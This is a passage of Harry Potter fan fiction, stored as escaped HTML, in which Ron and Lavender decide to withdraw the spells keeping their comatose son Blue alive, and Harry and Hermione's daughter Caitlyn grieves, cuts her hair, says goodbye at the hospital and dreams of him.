can&#8217;t face the thought of him not being here anymore either.&#8221;</p>\n\n<p>&#8220;He&#8217;ll never be gone, will he though?&#8221; Ron asked gently. &#8220;We&#8217;ll always remember him, Caitlyn will too, all his friends&#8230; his fans&#8230;&#8221;</p>\n\n<p>&#8220;You&#8217;re right&#8230;&#8221; Lavender pulled a tissue from her bag and blew her nose. &#8220;I don&#8217;t want him to suffer, if that&#8217;s what he&#8217;s doing.&#8221;</p>\n\n<p>Ron pulled her back into his arms. &#8220;We&#8217;ll get through this somehow&#8230; the hardest part next to actually&#8230;will be telling everyone.&#8221;</p>\n\n<p>&#8220;Caitlyn&#8217;s not going to take this well at all.&#8221; Lavender looked up at him. &#8220;I can&#8217;t even begin to think how to break this to her.&#8221;</p>\n\n<p>Ron stroked his wife&#8217;s hair gently, trying to soothe her as he felt his heart shatter into a million pieces. They both got up and went to their son&#8217;s bedside.</p>\n\n<p>Lavender bent down and kissed his forehead. &#8220;I only hope you&#8217;ll understand.&#8221; She whispered. </p>\n\n<p>A knock startled both of them, and Ron saw Harry standing outside, inching the door open. &#8220;Come in.&#8221; he motioned. Harry stepped in the room, Hermione and Caitlyn behind him.</p>\n\n<p>&#8220;Any news?&#8221; he asked, coming up next to them.</p>\n\n<p>Ron looked at Lavender. &#8220;Spells didn&#8217;t work.&#8221; He gestured to the chairs. &#8220;You guys might want to sit down.&#8221;</p>\n\n<p>Caitlyn fell into a chair, her eyes were red rimmed with dark circles underneath; she&#8217;d obviously gotten no sleep again the night before. Hermione sat next to her, smoothing back her daughter&#8217;s hair.</p>\n\n<p>&#8220;None of the spells worked?&#8221; Harry asked, a dull ache settling in his chest. </p>\n\n<p>Ron shook his head, his eyes aimed at the floor. &#8220;We were just talking to Grace,&#8221; he said as Harry took the seat next to Hermione. &#8220;She&#8217;s told us the chances of him waking at this point are slim to none.&#8221;</p>\n\n<p>Hermione let out a small gasp. Caitlyn stared up at Ron and Lavender dully, as if trying to process the information in her tired head. Harry&#8217;s mouth dropped open, horrible waves of guilt and remorse washing over him. &#8220;Ron I&#8217;m so sorry.&#8221;</p>\n\n<p>&#8220;No&#8230;no there&#8217;s more.&#8221; Ron said as they now sat as well, he didn&#8217;t think he could tell them this while standing up and he knew Lavender was close to passing out as well. &#8220;Lav and I&#8230;. we&#8230;. I don&#8217;t even know how to say this&#8230;.&#8221; He buried his face in his hands.</p>\n\n<p>&#8220;If Blue doesn&#8217;t wake up by tomorrow morning&#8230;. we&#8217;re going to let Grace take the spells off him.&#8221; Lavender&#8217;s voice cracked on the last words as she dissolved into sobs again.</p>\n\n<p>&#8220;What?&#8221; Caitlyn looked alert for the first time since entering the room. Harry and Hermione looked at each other worriedly, their mouths hanging open in shock.</p>\n\n<p>&#8220;There&#8217;s almost no hope left for him.&#8221; Ron said hoarsely. &#8220;They&#8217;ve tried almost every spell thought of, and nothing has worked. The only reason he&#8217;s still even alive is because of the few charms that do work.&#8221; He wiped away at his eyes. &#8220;Grace and the others&#8230;they also say that he&#8217;s in a lot of pain&#8230;&#8221; Ron couldn&#8217;t finish his sentence.</p>\n\n<p>Hermione&#8217;s eyes filled with tears, and she enveloped Ron in a large hug. &#8220;Ron I&#8217;m so sorry!&#8221; she sobbed. Harry reached for Lavender; he tried his best to comfort her.</p>\n\n<p>&#8220;I&#8217;m so sorry you guys.&#8221; Harry tried to choke back his own tears, to no avail. &#8220;I feel like this is my fault.&#8221;</p>\n\n<p>&#8220;No Harry.&#8221; Ron said. &#8220;No. Neither one of us blames you for this.&#8221;</p>\n\n<p>Harry couldn&#8217;t help but feel guilty. &#8220;I just&#8230;&#8221; he began, but was cut off by his daughter.</p>\n\n<p>&#8220;You&#8217;re letting him die?&#8221; Caitlyn asked, hurt in her eyes. &#8220;How could you?&#8221;</p>\n\n<p>&#8220;Caitlyn!&#8221; Harry stepped towards his daughter.</p>\n\n<p>She ignored her father, and focused on her beloved&#8217;s parents. &#8220;You can&#8217;t let him die I won&#8217;t let you!&#8221; </p>\n\n<p>Ron closed his eyes a moment. &#8220;Caitlyn, we&#8217;re both so sorry&#8230;. If there was any other way&#8230;&#8221;</p>\n\n<p>&#8220;NO!&#8221; she screamed, lunging for the bed, all her senses were gone by now and she didn&#8217;t care what she was doing. &#8220;You&#8217;ll have to get by me to do it!&#8221;</p>\n\n<p>&#8220;Caitlyn, love&#8230;&#8221; Harry said, coming forward to gently pull her away. &#8220;Ron and Lavender have to make this decision&#8230;&#8221;</p>\n\n<p>&#8220;They don&#8217;t know him like I do!&#8221; Caitlyn shouted. &#8220;He wouldn&#8217;t want to die like this!&#8221;</p>\n\n<p>&#8220;Of course he wouldn&#8217;t.&#8221; Hermione tried, stepping towards her daughter. &#8220;But sweetie&#8230;&#8221;</p>\n\n<p>&#8220;Get back!&#8221; Caitlyn pulled her wand out of her pocket and aimed it at her own mother. </p>\n\n<p>&#8220;Caitlyn!&#8221; Harry grabbed his daughter&#8217;s wrist and forced her to drop her wand. &#8220;Come now&#8230;&#8221; he was struggling to remain calm; his sorrow was keeping him from growing angry. She collapsed in his arms, crying.</p>\n\n<p>&#8220;I&#8217;m so sorry.&#8221; Hermione apologised weakly, scooping up the wand as Harry held their sobbing daughter in his arms. &#8220;We&#8217;ll take her home and come back later&#8230;&#8221; she hugged Lavender tightly and kissed Ron&#8217;s cheek. &#8220;If there&#8217;s anything we can do right now&#8230;.&#8221;</p>\n\n<p>Ron shook his head numbly, while Lavender managed to mumble something that sounded like a &#8216;thank you.&#8217; Harry half carried Caitlyn out the door, Hermione following.</p>\n\n<p>When they arrived home, Caitlyn violently jerked away from her father, casting accusatory glares at both her parents. &#8220;How could you take me from there? He&#8217;s going to die and I won&#8217;t be able to see him again! Do you know how that feels?&#8221; she screamed, and without waiting for an answer, pounded her way up the stairs. A resolute SLAM echoed throughout the house moments later.</p>\n\n<p>Harry and Hermione both looked at George, who had agreed to come over and watch the twins while they went to the hospital.</p>\n\n<p>&#8220;That bad?&#8221; George asked, his voice gone hoarse. </p>\n\n<p>Harry nodded. &#8220;Your brother is really going to need you right now.&#8221; He answered quietly. &#8220;Thanks for coming over.&#8221;</p>\n\n<p>&#8220;Sure,&#8221; George replied. He hugged both of them and then apparated out. Harry and Hermione looked at each other.</p>\n\n<p>&nbsp;&#8220;I do know how she feels.&#8221; He answered quietly, and Hermione went into his arms. She stroked his back gently as a lone tear trickled down his cheek. </p>\n\n<p>Upstairs, Caitlyn managed to do a nice job of trashing her room before collapsing in near exhaustion on her bed. &#8220;WHY?&#8221; she screamed into her pillow, pounding her fists on her wrinkled sheets. Tears burst forth once more as Caitlyn thought about Ron and Lavender&#8217;s decision.</p>\n\n<p>&#8220;I&#8217;m never going to see him again&#8230;.&#8221; Her breath was coming in fast gasps as this realisation hit her like a ton of bricks. Caitlyn got up and went over to the mirror, staring at her reflection. &#8220;Oh&#8230;. God&#8230;. I&#8217;m never going to see him again am I?&#8221; She was hyperventilating now, the room swimming before her eyes. And then everything went black as she fell.</p>\n\n<p>Harry and Hermione broke apart as they heard the loud thud, and Harry rushed up the stairs with Hermione on his heels. </p>\n\n<p>&#8220;Caitlyn?&#8221; he called, knocking softly on her door. When she didn&#8217;t answer, he pushed the door open. &#8220;Caitlyn!&#8221; Harry tore into the room and picked his daughter from the floor. &#8220;Get a wet cloth &#8230;&#8221; he said to Hermione, who turned and ran into the bathroom. &#8220;Come on baby&#8230;&#8221; he said, depositing her carefully on the bed. His wife returned with the wet cloth; she laid it on Caitlyn&#8217;s forehead.</p>\n\n<p>&#8220;She&#8217;s so exhausted.&#8221; Hermione said softly, pressing the cloth down gently and stroking her hair back. &#8220;She hasn&#8217;t gotten any sleep, no wonder she fainted.&#8221;</p>\n\n<p>Harry pressed his lips together grimly. &#8220;The news probably came as such a shock to her&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;m sure it did.&#8221; Hermione answered. &#8220;It&#8217;s hard for us all to think about, but I&#8217;m sure it&#8217;s hardest on Ron and Lavender. Their only child.&#8221; Fresh tears came to her eyes. &#8220;Should we go back, you think?&#8221;</p>\n\n<p>Harry shook his head. &#8220;Let them have their time alone with him.&#8221;</p>\n\n<p>Hermione nodded wordlessly into his shoulder, then pulled away and sat back down next to Caitlyn. &#8220;I don&#8217;t want to leave until she wakes up.&#8221;</p>\n\n<p>Harry nodded, sitting on her other side. They sat in silence for a good fifteen minutes more before Caitlyn finally stirred.</p>\n\n<p>&#8220;Wha&#8230;what&#8217;s&#8230;&#8221; she struggled to sit up.</p>\n\n<p>&#8220;Shhhh,&#8221; Hermione gently pushed her back down on the pillow. &#8220;Love, you fainted.&#8221;</p>\n\n<p>&#8220;My head hurts&#8230;&#8221; Caitlyn mumbled. </p>\n\n<p>&#8220;You probably hit it when you fell.&#8221; Harry said, squeezing her hand. </p>\n\n<p>Caitlyn stared up at her ceiling for a few minutes, trying to figure her thoughts out. &#8220;What happened?&#8221;</p>\n\n<p>&#8220;You fainted.&#8221; Hermione repeated gently. &#8220;The news was probably too much for you.&#8221;</p>\n\n<p>&#8220;News?&#8221; she asked. &#8220;What news?&#8221;</p>\n\n<p>Harry looked at his wife. &#8220;Love, about Blue.&#8221;</p>\n\n<p>Caitlyn&#8217;s eyes went unfocused for a moment, then filled with tears as everything rushed back over her. &#8220;Mum I thought that was a nightmare&#8230;&#8221;</p>\n\n<p>&#8220;Oh sweetheart, I wish it was.&#8221; Hermione hugged her daughter to her. Caitlyn couldn&#8217;t bring herself to say a word, just sobbed into her mother&#8217;s shoulder.</p>\n\n<p>&#8220;I don&#8217;t want him to die!&#8221; she finally cried, her words punctuated by hiccups.</p>\n\n<p>&#8220;We know, love, we know,&#8221; Harry reached up and stroked her hair. They all sat together for a long while, until they could hear one of the twins awaken. &#8220;Why don&#8217;t I go check on them,&#8221; Harry suggested, breaking away from his wife and daughter. Hermione nodded and he left.</p>\n\n<p>&#8220;Sweetie, why don&#8217;t you rest a little while?&#8221; Hermione tried. &#8220;I know you&#8217;ve got to be exhausted.&#8221;</p>\n\n<p>&#8220;I can&#8217;t sleep.&#8221; Caitlyn replied. &#8220;Every time I try to&#8230;&#8221; she couldn&#8217;t finish her sentence as fresh tears came to her eyes.</p>\n\n<p>&#8220;A shower or a bath?&#8221; Hermione pressed.</p>\n\n<p>&#8220;No,&#8221; Caitlyn said dully.</p>\n\n<p>&#8220;Well how about you just lie back and rest with this on your head then?&#8221; Hermione pushed her back down on the pillow and set the cool cloth back over her forehead. &#8220;It&#8217;ll help you feel better.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Caitlyn replied, unable to fight.</p>\n\n<p>&#8220;Do you want some tea?&#8221; Hermione smoothed the cloth gently. </p>\n\n<p>&#8220;I don&#8217;t care,&#8221; she replied. &#8220;I guess so.&#8221;</p>\n\n<p>&#8220;All right,&#8221; Hermione said. &#8220;I&#8217;ll go make you some and be back up here in a moment.&#8221;</p>\n\n<p>Caitlyn lay motionless on her bed for a minute after her mother left and then got up and went over to her mirror. &#8220;Bloody hell I look awful.&#8221; She muttered. Her face was white as snow, her eyes dull and red. &#8220;No wonder Blue isn&#8217;t waking up, not like he has much to wake up to.&#8221; Caitlyn leaned closer. Her long locks fell in lank, ugly strings over her shoulders and down her back. &#8220;He loved my hair,&#8221; she said, bringing up a hand to run her fingers through the length, then curled her hand into a fist and slammed it against the mirror in anger.</p>\n\n<p>Caitlyn let her hand drop and stared at herself again for what felt like an hour. In a dream like state, she fumbled in her dresser drawer and brought out a pair of scissors. Raising them up, she pulled out a lock and closed the blades around them.</p>\n\n<p>The two foot long tress fell to the floor, and she looked down at it, then at the severed strands hanging just above her shoulder. In the same trance like motion, she did the same to several more locks, hacking like a madwoman at her once lovely hair, not noticing the angry whimpers coming from her throat. </p>\n\n<p>&#8220;Caitlyn!&#8221; Hermione nearly dropped the teacup in shock as she entered her daughter&#8217;s room. &#8220;What are you doing?&#8221; </p>\n\n<p>Caitlyn jumped as she severed another piece of hair. It fell to the floor along with the scissors, and she looked down at the carpet as if seeing what she had done for the first time. She looked back up at her mother, opening her mouth, but no words came out.</p>\n\n<p>Hermione set the teacup on the small table next to the door, closing it behind her. &#8220;Do you want me to try and fix it?&#8221; she asked softly, taking in the long hair on one side and the short on the other.</p>\n\n<p>Caitlyn nodded. &#8220;I&#8230; I don&#8217;t know what happened&#8230;&#8221;</p>\n\n<p>&#8220;It&#8217;s all right,&#8221; Hermione was recovering from her shock. Caitlyn sat down and Hermione took a brush from the dresser top. &#8220;It won&#8217;t be too bad,&#8221; she said soothingly. </p>\n\n<p>Caitlyn stared numbly at herself, feeling stupid. Why had she gone and chopped off all her hair? It was the dumbest thing she&#8217;d ever done by far. &#8216;<i>I&#8217;m really losing it&#8230;&#8217; </i>Her mother had a look of concentration on her face as she tried to fix what was left, and they were both silent as she worked.</p>\n\n<p>&#8220;Well,&#8221; Hermione set the brush and scissors down on the dresser. &#8220;I&#8217;m certainly no hair witch, but it looks rather good.&#8221; She looked at her daughter and then leaned down to hug her. &#8220;It&#8217;ll grow back.&#8221;</p>\n\n<p>&#8220;I know,&#8221; Caitlyn replied, touching her newly shoulder length hair with trembling fingers. &#8220;Thanks.&#8221;</p>\n\n<p>&#8220;Come on,&#8221; Hermione guided her over to the bed. &#8220;Drink some tea, and then I want you to try and get some sleep.&#8221;</p>\n\n<p>Caitlyn was still too much in shock over what she had just done to argue. Dutifully sipping the hot tea, she settled down on the bed and Hermione pulled a light blanket over her. </p>\n\n<p>&#8220;Sleep,&#8221; she said softly, brushing back some loose strands over Caitlyn&#8217;s forehead. Her daughter&#8217;s eyes began to droop and she seemed to fall asleep quite fast. Hermione sighed then, looking down at her, and then got up, retrieving the scissors and cleaning up the mess on the floor.</p>\n\n<p>Harry was downstairs, giving the twins some pumpkin juice and biscuits. He saw the look on Hermione&#8217;s face and pulled her into the living room.</p>\n\n<p>&#8220;What&#8217;s wrong?&#8221; he asked, concerned.</p>\n\n<p>Hermione shook her head. &#8220;Caitlyn&#8230; I&#8217;m so worried about her Harry&#8230; do you know what she&#8217;s just gone and done?&#8221; Harry shook his head and she continued. &#8220;She&#8217;s just gone and cut off her hair&#8230; and I don&#8217;t even think she knew she was doing it.&#8221;</p>\n\n<p>&#8220;What?&#8221; Harry asked, his jaw dropping. </p>\n\n<p>&#8220;I&#8217;ve just had to sit upstairs and fix it for her, and then she finally fell asleep.&#8221; Hermione crossed her arms. &#8220;Harry&#8230; I think that if tomorrow&#8230;. I don&#8217;t know what&#8217;s going to happen to her.&#8221;</p>\n\n<p>Harry&#8217;s jaw twitched. &#8220;I can&#8217;t believe that&#8230;.&#8221; His anger began to work up again. &#8220;Can&#8217;t we all just catch a break?&#8221; he asked in a furious whisper. &#8220;If it&#8217;s not one bloody thing it&#8217;s another&#8230;can&#8217;t we all just be happy?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know, Harry,&#8221; Hermione said, small tears at the corners of her eyes. She wiped them away hastily. &#8220;Come on; let&#8217;s go sit with Carl and Corinne.&#8221; He didn&#8217;t argue as she went back in the kitchen and hid the scissors in a drawer. </p>\n\n<p>*** Several Hours Later***</p>\n\n<p>Caitlyn wearily opened her still bloodshot eyes. Her mother had just been sitting next to her on the bed, her hand stroking away her hair in a soothing manor. Her fingers flew up and touched her locks, and she winced as they came in contact with the severed ends.</p>\n\n<p>&#8220;Bloody hell, I thought that was a dream,&#8221; Caitlyn said to herself. It was dark in the room now, the only light coming from the moon outside. &#8220;I&#8217;ve been sleeping for awhile.&#8221; Grabbing her watch out of the drawer next to her bed, she saw that it was nearly nine in the evening. The house was quiet; it seemed as if everyone had gone to bed.</p>\n\n<p>Caitlyn got up, turning on a light. She tossed her dirty clothes into a heap on her floor and pulled on a different pair of jeans and a jumper she blindly grabbed from her closet. Pulling her hair back into a now shorter ponytail, Caitlyn looked at her reflection again, and then quietly left the bedroom. There was a light on in her parent&#8217;s bedroom, and she could hear them talking softly behind the closed door.</p>\n\n<p>&#8220;I&#8217;ve got to go back to the hospital,&#8221; she muttered quietly as she descended the stairs. If she wasn&#8217;t able to see Blue at least one more time before he died&#8230; Caitlyn didn&#8217;t want to finish that thought as she apparated out and into the hospital ward. </p>\n\n<p>&#8220;Hi,&#8221; she said in a small tone as she came up to Ron and Lavender, who were sitting next to Blue&#8217;s bed.</p>\n\n<p>Ron looked up; his eyes were almost as bloodshot as Caitlyn&#8217;s. &#8220;Hi, Caitlyn.&#8221; A slight smile crossed his face.</p>\n\n<p>&#8220;I&#8217;m really sorry about what I said to you both earlier.&#8221;&nbsp; She fidgeted a bit with her shirt. &#8220;It wasn&#8217;t my place to shout at either of you like that.&#8221;</p>\n\n<p>Lavender got up and hugged her tightly. &#8220;It&#8217;s all right, sweetie. We weren&#8217;t angry about it.&#8221;</p>\n\n<p>Caitlyn nodded into Lavender&#8217;s shoulder. &#8220;I&#8217;m just&#8230; I just wish it wasn&#8217;t him&#8230;&#8221; Burning tears sprang to her eyes again. &#8220;Anyone but Blue.&#8221; She choked back a sob.</p>\n\n<p>&#8220;We know, Caty.&#8221; Ron said from his seat.</p>\n\n<p>&#8220;Do you think I could have a few minutes alone with him?&#8221; Caitlyn asked softly.</p>\n\n<p>&#8220;Of course.&#8221; Lavender replied. She touched Ron&#8217;s arm and he got up from the bedside.</p>\n\n<p>&#8220;We&#8217;ll be right outside.&#8221; He said kindly, &#8220;We don&#8217;t want to go too far&#8230;you know&#8230;&#8221;</p>\n\n<p>Caitlyn nodded but said nothing as they left the room. Turning to Blue, she took one of his hands in hers. She sat silently for a few long moments, just stroking his red hair.</p>\n\n<p>&#8220;I don&#8217;t even know where to begin.&#8221; Her own voice startled her; it was loud in the still room. &#8220;I don&#8217;t even think you can hear me, I wish you could, I wish I had told you before exactly how much you mean to me.&#8221; Tears burned her eyes but they did not fall. &#8220;I look back on these five years we&#8217;ve been together, and I don&#8217;t think I&#8217;ve told you even once how important you are. And now you&#8217;ll be gone.&#8221; The tears spilled over and she brushed them away.</p>\n\n<p>&#8220;I tried to spend a night in our flat last week&#8230;I couldn&#8217;t. I had to leave in the middle of the night and go to my parents&#8217; house, and I&#8217;ve been staying there ever since.&#8221; She spoke softer now. &#8220;Everything reminds me of you&#8230;Blue why won&#8217;t you just open your eyes, please! For me!&#8221; the tears flowed faster again as Caitlyn squeezed his hand, willing him to just wake up. &#8220;Please Blue&#8230;&#8221; she begged, leaning down over him and pressing her hand to his face. &#8220;I need you so bad, please&#8230;I love you so much and I need you to know that.&#8221; She paused and looked at him. &#8220;I don&#8217;t think I&#8217;m that selfish in wanting you here Blue. I need you more than anyone else does.&#8221; Caitlyn laid her head down on the pillow next to him, and tried hard to pretend that they were back in their bed at home, and she was just watching him sleep.</p>\n\n<p>&#8220;I wish this were a dream.&#8221; She said. &#8220;I can&#8217;t believe that this is true, I can&#8217;t believe I&#8217;m laying here saying goodbye to you forever.&#8221;</p>\n\n<p>Caitlyn couldn&#8217;t stand it anymore, being there watching Blue so pale and weak in the hospital bed was too much for her to handle now, especially knowing that he&#8217;d never be looking at her again. &#8220;Goodbye Blue, I&#8217;ll always love you. I just hope you&#8217;ll wait for me wherever you go.&#8221; Caitlyn said, crying harder. Leaning over, she kissed him on the lips for the last time, and fled the room, new tears cascading down her cheeks.&nbsp; </p>\n\n<p>She ran past Ron and Lavender, who were sitting outside the room. Caitlyn couldn&#8217;t face them right now, even though she did not blame them for having to come to this decision, Ron and Blue looked so similar that it would be harder now than seeing him in that bed. She came upon the apparition section and disappeared before she could see anyone.</p>\n\n<p>She decided to apparate in about a block from her parents&#8217; home, she wanted to get some fresh air before going back in. Caitlyn walked slowly along the lane, purposefully not looking over at the dark Weasley home in case it brought on a whole new torrent of tears. </p>\n\n<p>&#8220;I don&#8217;t know what I&#8217;m going to do.&#8221; She muttered, wrapping her arms around herself, wishing so hard that it was Blue hugging her. &#8220;I thought he would be here forever with me.&#8221; Wiping at her tearstained cheeks, she quietly opened the back door and entered the kitchen. Her father was inside, making himself some tea. Harry looked up in surprise as Caitlyn came in the door.</p>\n\n<p>&#8220;I didn&#8217;t know you went out.&#8221; He said.</p>\n\n<p>&#8220;I went to the hospital.&#8221; Caitlyn replied quietly.</p>\n\n<p>Harry raised his eyebrows. &#8220;Oh?&#8221; he turned around fully to look at his daughter.</p>\n\n<p>&#8220;I had to&#8230; say goodbye.&#8221; Caitlyn sat down limply at the table. She sniffled as tears spilled over again.</p>\n\n<p>&#8220;Oh Caty I&#8217;m sorry.&#8221; Harry sat down next to her. He reached out and comfortingly moved a few stray hairs off her forehead. &#8220;Anything you want me to do?&#8221;</p>\n\n<p>&#8220;No.&#8221; Caitlyn brushed at her face and looked down at her lap. &#8220;Only if you can make him wake up.&#8221;</p>\n\n<p>&#8220;I wish I could, love.&#8221; Harry answered. &#8220;I wish I could.&#8221; He sat up straighter and tried to get a look at his daughter&#8217;s face. </p>\n\n<p>&#8220;Thanks.&#8221; She mumbled, finally looking up. Harry had to bite his lower lip hard to keep from grimacing. There were black smudges underneath her swollen eyes, and her face was pale, her figure gaunt from not eating. </p>\n\n<p>&#8220;Why don&#8217;t you go upstairs and rest?&#8221; Harry finally suggested. &#8220;I&#8217;ll bring you up some tea or something when it&#8217;s ready.&#8221;</p>\n\n<p>&#8220;Okay.&#8221; Caitlyn shrugged disinterestedly. She got up from the table and shuffled into the hallway, nearly tripping over some toys left on the floor. Quietly she passed Carl and Corinne&#8217;s room, looking in on them for a second and then continuing on to her own. She shut the door firmly behind her and collapsed on the bed, sheer exhaustion from her roller coaster emotions making her pull her body into the fetal position to feel any sort of comfort at all.</p>\n\n<p>Harry watched her go, his heart growing heavy. He absolutely hated seeing his eldest daughter in so much pain; her whole situation reminded him greatly of what had happened with Hermione so many years ago now. The tea kettle whistled, bringing Harry out of his thoughts. He poured a mug and took it up the stairs, knocking softly on Caitlyn&#8217;s door. When she didn&#8217;t answer, he pushed the door open slowly and saw her slight form huddled on the bed.</p>\n\n<p>Harry set the mug on her bedside table and Caitlyn turned over. &#8220;I&#8217;m sorry honey; I didn&#8217;t mean to wake you up.&#8221; He said apologetically.</p>\n\n<p>&#8220;I wasn&#8217;t sleeping.&#8221; She mumbled, reaching over for the mug and taking a small sip. </p>\n\n<p>Harry sat down next to her and stroked her back. &#8220;Why don&#8217;t you try?&#8221;</p>\n\n<p>&#8220;Every time I close my eyes, all I can see is Blue lying there in that hospital bed.&#8221; Caitlyn said brokenly. She looked up at her father. &#8220;I can&#8217;t even go back to my flat without sobbing, I can&#8217;t eat without thinking of all the times we went out to dinner, I can&#8217;t go to sleep because I think of all the times we fell asleep in each other&#8217;s arms.&#8221; She buried her face in her hands and began to bawl once more. Harry moved forward to hug her tightly.</p>\n\n<p>&#8220;Shhhh&#8230;&#8221; Harry began to rock her back and forth like he&#8217;d done when she was a young child. &#8220;Caitlyn, whatever happens now, you&#8217;ll be fine&#8230; you&#8217;re a very strong young woman.&#8221;</p>\n\n<p>&#8220;I don&#8217;t feel so strong right now.&#8221; Her voice was muffled because her face was pressed into his shoulder. &#8220;I don&#8217;t feel fine.&#8221;</p>\n\n<p>&#8220;Well of course you don&#8217;t, not right now, but it&#8217;ll get better with time. And unlike me, you have family to help you get through things.&#8221; He said comfortingly, stroking her hair in a soothing fashion. </p>\n\n<p>Caitlyn realised how similar this was to what her father had gone through when her mother disappeared. He had had absolutely no one to turn to, yet he had swallowed his grief to take care of her and make sure she had a good life. She sniffled and wrapped her arms around her father, and he hugged her tighter. &#8220;I just don&#8217;t understand why this had to happen, haven&#8217;t we all been through enough?&#8221;</p>\n\n<p>&#8220;I know love, I know.&#8221; Harry didn&#8217;t want to try and reason with her at that moment, she needed comforting more than anything else.&nbsp; &#8220;It was a very selfless thing Blue did.&#8221;</p>\n\n<p>&#8220;It makes me so mad, when I think about that.&#8221; She burst out. &#8220;Why did he have to be so courageous?&#8221;</p>\n\n<p>&#8220;If he hadn&#8217;t, we probably wouldn&#8217;t have your brother and sister back.&#8221; Harry said softly.</p>\n\n<p>&#8220;Yeah.&#8221; She sniffed. &#8220;You&#8217;re right&#8230;but I just&#8230; I just want him to be okay.&#8221; She began to sob again and Harry began to rock her once more.</p>\n\n<p>&#8220;Come on, love, have a kip, it will help you feel better later. You&#8217;re going to need your strength.&#8221; He said, pushing her back.</p>\n\n<p>Caitlyn had no more will left in her to argue. She put her head down on her pillow, sniffling back more tears. &#8220;Dad?&#8221; she asked when he got up to leave.</p>\n\n<p>&#8220;Yes?&#8221; he asked.</p>\n\n<p>&#8220;Will you stay with me until I fall asleep?&#8221; </p>\n\n<p>Harry smiled down at her. &#8220;Of course I will.&#8221; He replied, taking her hand firmly in his. He leaned down and kissed her on the forehead. &#8220;Now I feel like you&#8217;re about 8 years old again.&#8221; He tried to joke, and it actually got a weak smile out of her.</p>\n\n<p>&#8220;Thanks.&#8221; Caitlyn whispered gratefully as she closed her eyes. </p>\n\n<p>Harry sat and watched her, no more than five minutes passed when he could tell she was asleep by her steady breathing. He gently pulled his hand from hers; he spoke a soft &#8216;Nox&#8217; so that her room was left in darkness.</p>\n\n<p>Hermione closed the door to the twins&#8217; room; she still felt the urge to check on them at least once or twice every few hours. She looked down the hallway to see Harry quietly leaving Caitlyn&#8217;s bedroom; he looked quite upset.</p>\n\n<p>&#8220;What&#8217;s the matter?&#8221; she asked softly as he came down and joined her.</p>\n\n<p>Harry sighed deeply. &#8220;Caty went back to the hospital. Seems she said her&#8230; goodbye to Blue.&#8221; </p>\n\n<p>Hermione gasped, her eyes filling with tears. &#8220;Oh no&#8230;&#8221; she made a move to go to Caitlyn&#8217;s room but Harry held her arm.</p>\n\n<p>&#8220;She&#8217;s just fallen asleep for the first time in who knows how long.&#8221; He said softly. &#8220;Let her be until she wakes up.&#8221;</p>\n\n<p>Hermione looked like she wanted to argue, but didn&#8217;t. &#8220;All right.&#8221; She agreed. </p>\n\n<p>&#8220;I made some tea.&#8221; Harry said. &#8220;Let&#8217;s go in the kitchen so we don&#8217;t wake any of the kids.&#8221; He tucked Hermione&#8217;s hand in his and gave it a squeeze.</p>\n\n<p>Seated around the table moments later, he sighed, staring into his mug. &#8220;This frustrates me, so much.&#8221; Harry said, clenching his fist. &#8220;She&#8217;s in so much pain and I can&#8217;t do a DAMN thing about it!&#8221;</p>\n\n<p>&#8220;All we can do is be there for her.&#8221; Hermione said, sipping her tea and then reaching forward to relax his hand in hers. &#8220;She&#8217;s really going to need us tomorrow, when&#8230;&#8221; the rest of her sentence hung in the air; Hermione didn&#8217;t want to say it aloud.</p>\n\n<p>Harry got up and moved into the chair next to his wife. &#8220;I&#8217;m lucky.&#8221; He said softly.</p>\n\n<p>&#8220;So am I.&#8221; Hermione smiled at him. </p>\n\n<p>Harry pulled her over so that she was sitting on his lap. &#8220;To think I could have lost you, lost this&#8230;&#8221; he made a small sound in his throat and Hermione kissed him gently.</p>\n\n<p>&#8220;Harry I wouldn&#8217;t have given up on you without a real fight, you know that.&#8221; She gently brushed his wild hair out of his eyes. &#8220;And now we&#8217;re all back together, and everything&#8217;s fine.&#8221;</p>\n\n<p>&#8220;I just wish everything was fine with Caitlyn too. It kills me to see her this miserable.&#8221;</p>\n\n<p>&#8220;Me too.&#8221; Hermione replied. &#8220;I remember before they got together when she came to me for advice about him. Reminded me so much of us.&#8221;</p>\n\n<p>&#8220;Oh really?&#8221; Harry gave her a soft smile.</p>\n\n<p>&#8220;Come on, best friends since age eleven, in love and not realising it until it smacks them in the face?&#8221; Hermione said. &#8220;The only difference is in our time he&#8217;d be Ron.&#8221;</p>\n\n<p>&#8220;Wouldn&#8217;t want that.&#8221; Harry said. He wove their fingers together and pressed his lips to the back of her hand. &#8220;Come on, I want to check on everyone and then go to bed. It&#8217;s been a long day that I&#8217;d really like to forget.&#8221;</p>\n\n<p>Hermione set the mugs in the sink and followed him upstairs; Harry peeked into the twins&#8217; room while she quietly looked in on Caitlyn. She was still sleeping, which was a good thing, so Hermione didn&#8217;t go into the room.</p>\n\n<p>&#8220;How are they?&#8221; she whispered as Harry closed their door.</p>\n\n<p>&#8220;Fast asleep. Caty?&#8221;</p>\n\n<p>&#8220;Same.&#8221;</p>\n\n<p>&#8220;Good.&#8221; Harry took her hand and pulled her into their bedroom. &#8220;I love you &#8216;Mione.&#8221; He said, after they dressed for bed and were slipping under the covers.</p>\n\n<p>&#8220;I love you too Harry.&#8221; She replied sleepily, snuggling up next to him. </p>\n\n<p>***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p>Caitlyn was dreaming. At least, she thought she was dreaming. Sitting up on her bed, she noticed she was wearing a long black dress. </p>\n\n<p>&#8220;When the hell did I put this on?&#8221; she wondered. She got up to look at herself in the mirror, her hair was long again and pulled back in a low bun at her nape, she was wearing the diamond earrings Blue had given her for their first anniversary, and her face was made up with the slightest hint of makeup.</p>\n\n<p>&#8220;You look nice.&#8221;</p>\n\n<p>Caitlyn whirled around and gasped. Blue was sitting on the edge of her bed, in a Muggle suit and tie. &#8220;Blue?&#8221;</p>\n\n<p>His face remained unsmiling as he looked at her silently.</p>\n\n<p>She rushed over to the bedside. &#8220;I thought&#8230;I thought you were&#8230;&#8221; Caitlyn took his hands in hers, they were cold as ice. &#8220;Blue?&#8221;</p>\n\n<p>&#8220;We&#8217;re late.&#8221; He spoke again; his voice was low and cool.</p>\n\n<p>&#8220;For what?&#8221; Caitlyn asked. &#8220;I don&#8217;t 